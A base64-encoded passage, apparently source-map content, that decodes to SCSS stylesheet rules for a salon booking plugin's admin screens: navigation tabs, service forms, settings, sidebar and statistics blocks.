QtaWNvbjtcbiAgICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcbiAgICAgIHotaW5kZXg6IDIwMDtcbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKGJhY2tncm91bmQtY29sb3IgMjAwbXMpO1xuICAgIH1cbiAgICAmOmZvY3VzLFxuICAgICY6YWN0aXZlIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoXG4gICAgICAgIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQsXG4gICAgICAgIDAuNVxuICAgICAgKTtcbiAgICAgIG91dGxpbmU6IG5vbmU7XG4gICAgICBib3gtc2hhZG93OiBub25lO1xuICAgIH1cbiAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgJjpob3ZlciB7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHRlcjtcbiAgICAgIH1cbiAgICB9XG4gICAgLyogRklYIDA5MjAyM1xuICAgICAgICAmLm5hdi10YWItZ2VuZXJhbDo6YmVmb3JlIHtcbiAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMDEzXCI7XG4gICAgICAgIH1cbiAgICAgICAgJi5uYXYtdGFiLWJvb2tpbmc6OmJlZm9yZSB7XG4gICAgICAgICAgICBjb250ZW50OiBcIlxcZjA3M1wiO1xuICAgICAgICB9XG4gICAgICAgICYubmF2LXRhYi1jaGVja291dDo6YmVmb3JlIHtcbiAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMDdhXCI7XG4gICAgICAgIH1cbiAgICAgICAgJi5uYXYtdGFiLXBheW1lbnRzOjpiZWZvcmUge1xuICAgICAgICAgICAgY29udGVudDogXCJcXGYwOWRcIjtcbiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgIH1cbiAgICAgICAgJi5uYXYtdGFiLXN0eWxlOjpiZWZvcmUge1xuICAgICAgICAgICAgY29udGVudDogXCJcXGYwMzZcIjtcbiAgICAgICAgfVxuICAgICAgICAmLm5hdi10YWItZ2NhbGVuZGFyOjpiZWZvcmUge1xuICAgICAgICAgICAgY29udGVudDogXCJcXGYxYTBcIjtcbiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiAzMDA7XG4gICAgICAgIH1cbiAgICAgICAgJi5uYXYtdGFiLWRvY3VtZW50YXRpb246OmJlZm9yZSB7XG4gICAgICAgICAgICBjb250ZW50OiBcIlxcZjAyZFwiO1xuICAgICAgICB9XG4gICAgICAgICovXG4gICAgJi5uYXYtdGFiLWFjdGl2ZSB7XG4gICAgICBib3JkZXI6IG5vbmU7XG4gICAgICBib3JkZXItYm90dG9tOiAzcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICB9XG4gIH1cbiAgLnNsbi1pbnBhZ2VfbmF2YmFyX19jdXJyZW50dGFiIHtcbiAgICBkaXNwbGF5OiBub25lO1xuICAgIHdpZHRoOiA0NHB4O1xuICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2NnB4KTtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgIGJvcmRlci1yaWdodDogMXB4IHNvbGlkXG4gICAgICBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAvKiBGSVggMDkyMDIzXG4gICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMDEzXCI7XG4gICAgICAgICAgICBAZXh0ZW5kICVmb250LWljb247XG4gICAgICAgICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG4gICAgICAgICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2NnB4KTtcbiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgfVxuICAgICAgICAmLnNsbi1pbnBhZ2VfbmF2YmFyX19pY29uLS1jbG9zZTo6YmVmb3JlIHtcbiAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMDBkXCI7XG4gICAgICAgIH1cbiAgICAgICAgKi9cbiAgfVxuICAmLmFmZml4IHtcbiAgICBAZXh0ZW5kICV6aS10b3A7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogLTEwMHZoO1xuICAgIHJpZ2h0OiAwO1xuICAgIGxlZnQ6IDA7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAmLnNsbi1uYXYtdGFiLXdyYXBwZXItLWludmlldyB7XG4gICAgICBwb3NpdGlvbjogZml4ZWQ7XG4gICAgICB0b3A6IDA7XG4gICAgfVxuICAgIC5zbG4taW5wYWdlX25hdmJhcl9fY3VycmVudHRhYiB7XG4gICAgICBkaXNwbGF5OiBibG9jaztcbiAgICB9XG4gIH1cbiAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA1NjdweCkge1xuICAgIC5uYXYtdGFiIHtcbiAgICAgIG1hcmdpbjogMCAwLjJyZW0gMC4ycmVtIDA7XG4gICAgICAmLm5hdi10YWItYWN0aXZlIHtcbiAgICAgICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICAgICAgb3JkZXI6IDE7XG4gICAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7XG4gICAgICB9XG4gICAgfVxuICAgICYuYWZmaXgge1xuICAgICAgLm5hdi10YWIge1xuICAgICAgICBtYXJnaW46IDA7XG4gICAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgzOXB4KTtcbiAgICAgICAgd2lkdGg6IDEwMCU7XG4gICAgICAgIGp1c3RpZnktY29udGVudDogZmxleC1zdGFydDtcbiAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkXG4gICAgICAgICAgYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQsIDAuNSk7XG4gICAgICAgICYubmF2LXRhYi1hY3RpdmUgc3BhbiB7XG4gICAgICAgICAgYm9yZGVyLWJvdHRvbTogM3B4IHNvbGlkICNjN2RmZjM7XG4gICAgICAgICAgcGFkZGluZzogMCAyMXB4IDAgMzBweDtcbiAgICAgICAgICBtYXJnaW4tbGVmdDogLTMwcHg7XG4gICAgICAgICAgbWFyZ2luLWJvdHRvbTogLTFweDtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgLnNsbi1pbnBhZ2VfbmF2YmFyX19jdXJyZW50dGFiIHtcbiAgICAgICAgd2lkdGg6IDEwMCU7XG4gICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZFxuICAgICAgICAgIGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0LCAwLjUpO1xuICAgICAgICAvL3Bvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgLy9ib3R0b206IDA7XG4gICAgICAgIC8vbGVmdDogMDtcbiAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodDtcbiAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiAxNXB4O1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAmLmFmZml4IHtcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIHRvcDogLTEwMHB4O1xuICAgICAgcmlnaHQ6IDA7XG4gICAgICBsZWZ0OiAwO1xuICAgICAgJi5zbG4tbmF2LXRhYi13cmFwcGVyLS1pbnZpZXcge1xuICAgICAgICBwb3NpdGlvbjogZml4ZWQ7XG4gICAgICAgIHRvcDogNDZweDtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA4MDBweCkge1xuICAgIC8vQGluY2x1ZGUgYnAoZGVza3RvcCkge1xuICAgICYuYWZmaXgge1xuICAgICAgdG9wOiAtMTAwcHg7XG4gICAgICByaWdodDogMDtcbiAgICAgIGxlZnQ6IDE2MHB4O1xuICAgICAgJi5zbG4tbmF2LXRhYi13cmFwcGVyLS1pbnZpZXcge1xuICAgICAgICB0b3A6IDMycHg7XG4gICAgICB9XG4gICAgfVxuICAgIC5uYXYtdGFiIHtcbiAgICAgIHBhZGRpbmc6IDAgMThweDtcbiAgICB9XG4gIH1cbn1cbi8vIFRBQlMgRU5EXG5cbkBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQtcG9ydCkge1xuICAuc2xuLXRhYiB7XG4gICAgI3Nsbi1hdmFpbGFiaWxpdGllcyAuaXRlbXMgLml0ZW0gLmJ0bi5idG4tYmxvY2suYnRuLWRhbmdlciB7XG4gICAgICB3aWR0aDogMjUlO1xuICAgICAgZmxvYXQ6IHJpZ2h0O1xuICAgICAgbWFyZ2luLXRvcDogMWVtO1xuICAgIH1cbiAgICAjc2xuLWF2YWlsYWJpbGl0aWVzIC5jb2wtbWQtMi5wdWxsLXJpZ2h0IHtcbiAgICAgIHdpZHRoOiAyOSU7XG4gICAgICBtYXJnaW4tdG9wOiAxZW07XG4gICAgfVxuICB9XG59XG5AaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcbiAgLnNsbi10YWIge1xuICAgICNzbG4tYXZhaWxhYmlsaXRpZXMgLml0ZW1zIC5pdGVtIC5idG4uYnRuLWJsb2NrLmJ0bi1kYW5nZXIge1xuICAgICAgbWFyZ2luLXRvcDogMmVtO1xuICAgIH1cbiAgICAjc2xuLWF2YWlsYWJpbGl0aWVzIC5jb2wtbWQtMi5wdWxsLXJpZ2h0IHtcbiAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgbWFyZ2luLXRvcDogMWVtO1xuICAgIH1cbiAgICAucm93Om50aC1jaGlsZCgxKSAuY29sLW1kLTY6bnRoLWNoaWxkKDEpIHtcbiAgICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICAgIHBhZGRpbmctcmlnaHQ6IDA7XG4gICAgICAuZm9ybS1ncm91cCxcbiAgICAgIHAge1xuICAgICAgICBtYXJnaW4tYm90dG9tOiAwO1xuICAgICAgfVxuICAgIH1cbiAgfVxuXG4gIC8vI3Nsbi10YWItcGF5bWVudHMgLnJvdyB7cGFkZGluZy1ib3R0b206IDEuNGVtO31cbiAgLy8jc2xuLXRhYi1wYXltZW50cyAucm93ID4gZGl2IHtwYWRkaW5nLWJvdHRvbTogMS40ZW07fVxuICAvLyNzbG4tdGFiLXBheW1lbnRzIC5yb3cgLmZvcm0tZ3JvdXAge21hcmdpbi1ib3R0b206IDA7fVxufVxuXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbi8vIC8vLyBTRVJWSUNFU1xuLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vXG5cbiNzbG5fc2VydmljZS1kZXRhaWxzLFxuI3Nsbl9hdHRlbmRhbnQtZGV0YWlscyB7XG4gIHBhZGRpbmctYm90dG9tOiAyZW07XG5cbiAgZW0ge1xuICAgIGNvbG9yOiAjYWFhO1xuICB9XG4gIHMgaDM6bnRoLWNoaWxkKDMpIHtcbiAgICBwYWRkaW5nLWxlZnQ6IDA7XG4gIH1cblxuICAuc2xuLXNlcnZpY2UtcHJpY2UtdGltZSB7XG4gICAgaW5wdXRbdHlwZT0ndGV4dCddIHtcbiAgICAgIG1pbi1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oODBweCk7XG4gICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgICBtaW4taGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuICAgICAgfVxuICAgIH1cblxuICAgIC5jb2wteHMtNjpudGgtY2hpbGQoNCkge1xuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lLXBvcnQpIHtcbiAgICAgICAgd2lkdGg6IDEwMCU7XG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgI19zbG5fc2VydmljZV9zZWNvbmRhcnkge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICB9XG5cbiAgaW5wdXRbdHlwZT0ncmFkaW8nXSxcbiAgaW5wdXRbdHlwZT0nY2hlY2tib3gnXSB7XG4gICAgbWFyZ2luOiAwIDAuNWVtO1xuICB9XG5cbiAgI19zbG5fc2VydmljZV9zZWNvbmRhcnkge1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgICAgbWFyZ2luOiAwIDAuNWVtIC0wLjZlbSAwO1xuICAgIH1cbiAgfVxuXG4gIC5zZXJ2aWNlcy1ub3RhdmFpbGFibGUsXG4gIC5hdHRlbmRhbnRzLW5vdGF2YWlsYWJsZSB7XG4gICAgbWFyZ2luOiAwIDAgMWVtIC0wLjVlbTtcbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcbiAgICAgIG1hcmdpbjogMCAwIDJlbSAtMC41ZW07XG4gICAgfVxuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAgIG1hcmdpbjogMCAwIDJlbSAtMC41ZW07XG4gICAgfVxuICAgIGxhYmVsIHtcbiAgICAgIG1hcmdpbi1yaWdodDogMmVtO1xuICAgICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA5NTFweCkgYW5kIChtYXgtd2lkdGg6IDEyNzlweCkge1xuICAgICAgICBtYXJnaW4tcmlnaHQ6IDAuNWVtO1xuICAgICAgfVxuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICB3aWR0aDogNTAlO1xuICAgICAgICBmbG9hdDogbGVmdDtcbiAgICAgICAgbWFyZ2luOiAwIDAgMmVtIDBlbTtcbiAgICAgICAgJjpsYXN0LWNoaWxkIHtcbiAgICAgICAgICBmbG9hdDogbm9uZTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgfVxuXG4gIC5zZXJ2aWNlcy1ub3RhdmFpbGFibGUtaCxcbiAgLmF0dGVuZGFudHMtbm90YXZhaWxhYmxlLWgge1xuICAgIGxhYmVsIHtcbiAgICAgIG1hcmdpbi1yaWdodDogMmVtO1xuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gICAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgICBtYXJnaW4tYm90dG9tOiAxZW07XG4gICAgICB9XG4gICAgfVxuICB9XG59XG5cbi5wb3N0LXR5cGUtc2xuX3NlcnZpY2Uge1xuICB0ZXh0YXJlYSNleGNlcnB0IHtcbiAgICBtaW4taGVpZ2h0OiAxNTBweDtcbiAgfVxufVxuXG4vLyAvLy8gU0VSVklDRVMgRU5EXG5cbi8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvL1xuLy8gLy8vIFNFVFRJTkdTXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cblxuLy8gR0VORVJMIFJVTEVTXG5ib2R5LnNhbG9uZV9wYWdlX3NhbG9uLXNldHRpbmdzLFxuYm9keS50b3BsZXZlbF9wYWdlX3NhbG9uLFxuYm9keS5zYWxvbmVfcGFnZV9zYWxvbi1yZXBvcnRzLFxuYm9keS5zYWxvbmVfcGFnZV9zYWxvbi10b29scyB7XG4gICN3cHdyYXAge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tYmctLWxpZ2h0ZXI7XG4gIH1cbn1cbi8vIEdFTkVSTCBSVUxFUyAvLyBFTkRcbiNzbG4tc2Fsb24tLWFkbWluLFxuLnNsbi1jYWxlbmRhci0td3JhcHBlciB7XG4gICYuc2xuLXNhbG9uLS1zZXR0aW5ncyB7XG4gICAgLy9mb250LXNpemU6ICRicm93c2VyLWNvbnRleHQgKyBweDtcbiAgICBmb250LXNpemU6IHR5cG8tYWRtaW4uJGZvbnQtc2l6ZS1iYXNlO1xuICAgIC5zbG4tbmF2LXRhYi13cmFwcGVyLm5hdi10YWItd3JhcHBlcixcbiAgICBoMi5zbG4tbmF2LXRhYi13cmFwcGVyLm5hdi10YWItd3JhcHBlcixcbiAgICBoMy5zbG4tbmF2LXRhYi13cmFwcGVyLm5hdi10YWItd3JhcHBlciB7XG4gICAgICBwYWRkaW5nLXRvcDogMDtcbiAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5zbG4tYm9va2luZy1ydWxlIHtcbiAgICBtYXJnaW46IDA7XG4gICAgcGFkZGluZy10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gICAgcGFkZGluZy1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gICAgQGV4dGVuZCAlc2xuLXNtYWxsLWJvcmRlcjtcbiAgICAmOmxhc3QtY2hpbGQge1xuICAgICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgICB9XG4gICAgKyAuc2xuLWJvb2tpbmctcnVsZSB7XG4gICAgICBib3JkZXItdG9wOiBub25lO1xuICAgIH1cbiAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDYwMHB4KSB7XG4gICAgICBib3JkZXItd2lkdGg6IDJweDtcbiAgICB9XG4gIH1cbiAgLy8gU0VMRiBPVkVSUklERVNcbiAgLnNldHRpbmdzLWVycm9yIHtcbiAgICBib3JkZXItY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfcHJvYmxlbTtcbiAgfVxuICAuc2xuLW5hdi10YWItd3JhcHBlci5uYXYtdGFiLXdyYXBwZXIsXG4gIGgyLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyLFxuICBoMy5zbG4tbmF2LXRhYi13cmFwcGVyLm5hdi10YWItd3JhcHBlciB7XG4gICAgYm9yZGVyLWJvdHRvbTogbm9uZTtcbiAgICBtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICB9XG4gIC5zbG4tdGFiIHtcbiAgICBib3JkZXI6IG5vbmU7XG4gICAgYm9yZGVyLXRvcC13aWR0aDogMDtcbiAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICBwYWRkaW5nOiAwIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSg4MHB4KSAwO1xuICAgIC5mb3JtLWdyb3VwIGxhYmVsIGlucHV0IHtcbiAgICAgIGRpc3BsYXk6IGF1dG87XG4gICAgICBkaXNwbGF5OiBpbml0aWFsO1xuICAgICAgbWFyZ2luLXRvcDogYXV0bztcbiAgICAgIG1hcmdpbi10b3A6IGluaXRpYWw7XG4gICAgfVxuICB9XG4gIC8vIE1FU1NBR0VTXG4gIC5zbG4tbWVzc2FnZSB7XG4gICAgQGV4dGVuZCAlZm9udC1iaWc7XG4gICAgYm9yZGVyLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg0cHgpIHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfd2FybmluZztcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgcGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSg0cHgpO1xuICB9XG4gIC8vIE1FU1NBR0VTIC8vIEVORFxuICAvLyBTRUxGIE9WRVJSSURFUyAvLyBFTkQ6IDtcbiAgLnNsbi1hZG1pbi1zaWRlYmFyIHtcbiAgICBwb3NpdGlvbjogZml4ZWQ7XG4gICAgYm90dG9tOiAwO1xuICAgIGxlZnQ6IDA7XG4gICAgcmlnaHQ6IDA7XG4gICAgZGlzcGxheTogZ3JpZDtcbiAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmciAxZnIgMWZyO1xuICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgcGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KTtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZSwgMSk7XG4gICAgYm94LXNoYWRvdzogMCAxcHggNXB4IDAgYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfbWFpbiwgMC41KTtcbiAgICBAZXh0ZW5kICV6aS10b3A7XG4gICAgJi5zbG4tYWRtaW4tc2lkZWJhci0tZnJlZSB7XG4gICAgICBncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG8gYXV0bztcbiAgICAgIC5zbG4tYWRtaW4tYmFubmVyIHtcbiAgICAgICAgZ3JpZC1jb2x1bW46IDEgLyBzcGFuIDM7XG4gICAgICAgIGdyaWQtcm93OiAyO1xuICAgICAgICBtYXJnaW46IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgtMTVweClcbiAgICAgICAgICBzZXR0aW5ncy1taXhpbnMucmVtKC0xNXB4KSBzZXR0aW5ncy1taXhpbnMucmVtKC0xNXB4KTtcbiAgICAgIH1cbiAgICAgIC5zbG4tdXBkYXRlLXNldHRpbmdzX193cmFwcGVyIHtcbiAgICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgfVxuICAgICAgLnNsbi1oZWxwLWJ1dHRvbl9fYmxvY2sge1xuICAgICAgICBncmlkLWNvbHVtbjogMztcbiAgICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgICB9XG4gICAgfVxuICAgIC8vIC5zbG4tdXBkYXRlLXNldHRpbmdzIHtcbiAgICAvLyB9XG4gICAgLnNsbi1oZWxwLWJ1dHRvbl9fYmxvY2sge1xuICAgICAgZ3JpZC1jb2x1bW46IDM7XG4gICAgICBqdXN0aWZ5LXNlbGY6IGVuZDtcbiAgICB9XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgICAgYm90dG9tOiAwO1xuICAgICAgcmlnaHQ6IDA7XG4gICAgICAvLyAuc2xuLXVwZGF0ZS1zZXR0aW5ncyB7XG4gICAgICAvLyB9XG4gICAgICAmLnNsbi1hZG1pbi1zaWRlYmFyLS1mcmVlIHtcbiAgICAgICAgZ3JpZC10ZW1wbGF0ZS1yb3dzOiBhdXRvO1xuICAgICAgfVxuICAgIH1cbiAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDgwMHB4KSB7XG4gICAgICAvL0BpbmNsdWRlIGJwKGRlc2t0b3ApIHtcbiAgICAgIHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMjRweCkgMjBweCBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpIDIwcHg7XG4gICAgICBsZWZ0OiAxNjBweDtcbiAgICAgIC5zbG4tdXBkYXRlLXNldHRpbmdzLFxuICAgICAgLnNsbi1oZWxwLWJ1dHRvbl9fYmxvY2sge1xuICAgICAgICBtaW4td2lkdGg6IDE4MHB4O1xuICAgICAgfVxuICAgICAgJi5hZmZpeCB7XG4gICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgbWFyZ2luLXRvcDogMDtcbiAgICAgIH1cbiAgICAgICYuc2xuLWFkbWluLXNpZGViYXItLWZyZWUge1xuICAgICAgICBncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG4gICAgICAgIC5zbG4tYWRtaW4tYmFubmVyIHtcbiAgICAgICAgICBtYXJnaW46IHNldHRpbmdzLW1peGlucy5yZW0oMTVweCkgLTIwcHggc2V0dGluZ3MtbWl4aW5zLnJlbSgtMTVweCkgLTIwcHg7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgLnNsbi10b29sYm94LXRyaWdnZXItbW9iIHtcbiAgICAgIGZsb2F0OiByaWdodDtcbiAgICB9XG4gIH1cbiAgLy8gQ1VTVE9NRVIgU1RBVElTVElDUyBTVEFSVFxuICAuc3RhdGlzdGljc19ibG9jayB7XG4gICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy4kc2xuLWNvbG9yLS1tYWluLS1lbXBoYXNpcztcbiAgICBjb2xvcjogY29sb3JzLiRzbG4tY29sb3ItLXdoaXRlO1xuICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KTtcbiAgICBtYXJnaW46IGFkbWluX2NvbmZpZy4kZ3JpZC1ndXR0ZXItd2lkdGggKiAtMTtcbiAgICBtYXJnaW4tdG9wOiAwO1xuICAgIC5zdGF0aXN0aWNzX2Jsb2NrX2Rlc2Mge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICBib3JkZXItdG9wOiAxcHggc29saWQgd2hpdGU7XG4gICAgICBtYXJnaW46IGFkbWluX2NvbmZpZy4kZ3JpZC1ndXR0ZXItd2lkdGhcbiAgICAgICAgY2FsYyhhZG1pbl9jb25maWcuJGdyaWQtZ3V0dGVyLXdpZHRoLzMpICogLTIgMFxuICAgICAgICBjYWxjKGFkbWluX2NvbmZpZy4kZ3JpZC1ndXR0ZXItd2lkdGgvMykgKiAtMjtcbiAgICAgIHBhZGRpbmctdG9wOiBhZG1pbl9jb25maWcuJGdyaWQtZ3V0dGVyLXdpZHRoO1xuICAgICAgcGFkZGluZy1ib3R0b206IGNhbGMoYWRtaW5fY29uZmlnLiRncmlkLWd1dHRlci13aWR0aC8zKTtcbiAgICB9XG4gICAgZGl2Om50aC1jaGlsZCgxKSBzcGFuIHtcbiAgICAgIG1hcmdpbi10b3A6IDA7XG4gICAgfVxuICAgIEBleHRlbmQgJWZvbnQtYmlnO1xuICAgIC5zdGF0aXN0aWNzX3JvdzpudGgtY2hpbGQoMSkge1xuICAgICAgYm9yZGVyLWJvdHRvbTogMC4xcmVtIHNvbGlkIHdoaXRlO1xuICAgIH1cbiAgICAuc3RhdGlzdGljc19yb3c6bGFzdC1jaGlsZCB7XG4gICAgICBwYWRkaW5nLWJvdHRvbTogYWRtaW5fY29uZmlnLiRncmlkLWd1dHRlci13aWR0aDtcbiAgICB9XG4gICAgLnN0YXRpc3RpY3Nfcm93IHtcbiAgICAgIHBhZGRpbmc6IDBweDtcbiAgICAgIHNwYW46bm90KC5zdGF0aXN0aWNzX2Jsb2NrX2Rlc2MpIHtcbiAgICAgICAgZm9udC1zaXplOiBsYXJnZXI7XG4gICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkO1xuICAgICAgfVxuICAgIH1cbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgICAuc3RhdGlzdGljc19yb3cge1xuICAgICAgICBwYWRkaW5nOiAxMHB4IDBweDtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgLy8gVEVNUE9SQVJZXG4gIC5zbG4tdGFibGUge1xuICAgIC5kaXNwbGF5aW5nLW51bSB7XG4gICAgICBAZXh0ZW5kICVmb250LW1lZGl1bTtcbiAgICB9XG4gIH1cblxuICAvLyBDVVNUT01FUiBTVEFUSVNUSUNTIEVORFxuXG4gIC8vIFJFUE9SVFMgU1RBVElTVElDUyBTVEFSVFxuICAudGV4dC1jZW50ZXIge1xuICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgfVxuICAucmVwb3J0LXN0YXRpc3RpY3Mge1xuICAgIHBhZGRpbmc6IDAgMzBweCAyMHB4IDMwcHg7XG4gICAgd2lkdGg6IDcyMHB4O1xuICB9XG4gIC5yZXBvcnQtc3RhdGlzdGljcyAucm93IHtcbiAgICBwYWRkaW5nOiAxMHB4IDBweDtcbiAgfVxuICAucmVwb3J